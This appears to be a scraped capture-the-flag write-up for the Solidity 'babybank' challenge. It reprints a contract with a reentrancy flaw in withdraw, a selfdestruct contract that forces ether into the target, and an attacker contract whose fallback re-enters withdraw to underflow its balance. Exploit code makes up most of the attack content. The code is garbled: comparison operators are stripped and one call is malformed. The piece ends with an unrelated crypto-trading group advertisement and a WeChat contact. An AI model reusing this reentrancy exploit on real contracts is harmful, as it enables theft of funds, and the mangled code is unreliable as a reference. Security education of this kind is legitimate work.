div#pop_ad { opacity: 0; }
function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] = 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); }
pragma solidity ^0.4.23;contract babybank { mapping(address = uint) public balance; mapping(address = uint) public level; address owner; uint secret; event sendflag(string md5ofteamtoken,string b64email); constructor()public{ owner = msg.sender; } function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] = 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require(msg.sender == owner); _; } function withdraw(uint256 amount) public { require(amount == 2); require(amount = balance[msg.sender]); address(msg.sender).call.value(amount * 0x5af3107a4000)(); //重入漏洞点 balance[msg.sender] -= amount; } function profit() public { require(level[msg.sender] == 0); balance[msg.sender] += 1; level[msg.sender] += 1; } function xxx(uint256 number) public onlyOwner { secret = number; } function guess(uint256 number) public { require(number == secret); require(level[msg.sender] == 1); balance[msg.sender] += 1; level[msg.sender] += 1; } function transfer(address to, uint256 amount) public { require(balance[msg.sender] = amount); require(amount == 2); require(level[msg.sender] == 2); balance[msg.sender] = 0; balance[to] = amount; }}
function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] = 10000000000); //调用者余额需大于等于10000000000 balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email);}
function withdraw(uint256 amount) public { require(amount == 2); require(amount = balance[msg.sender]); address(msg.sender).call.value(amount * 0x5af3107a4000)(); // 重入漏洞点 balance[msg.sender] -= amount;}
function profit() public { require(level[msg.sender] == 0); balance[msg.sender] += 1; level[msg.sender] += 1; } function xxx(uint256 number) public onlyOwner { secret = number; } function guess(uint256 number) public { require(number == secret); require(level[msg.sender] == 1); balance[msg.sender] += 1; level[msg.sender] += 1; }
pragma solidity ^0.4.24;contract Abcc { function kill() public payable { selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f)); }}
pragma solidity ^0.4.24;interface BabybankInterface { function withdraw(uint256 amount) external; function profit() external; function guess(uint256 number) external; function transfer(address to, uint256 amount) external; function payforflag(string md5ofteamtoken, string b64email) external;}contract attacker { BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f); uint private flag = 0; function exploit() public payable { target.profit(); target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca); target.withdraw(2); target.payforflag( king , king } function() external payable { require (flag == 0); flag = 1; target.withdraw(2); }}
添加新手交流群:币种分析、每日早晚盘分析
添加助理微信,一对一亲自指导:YoYo8abc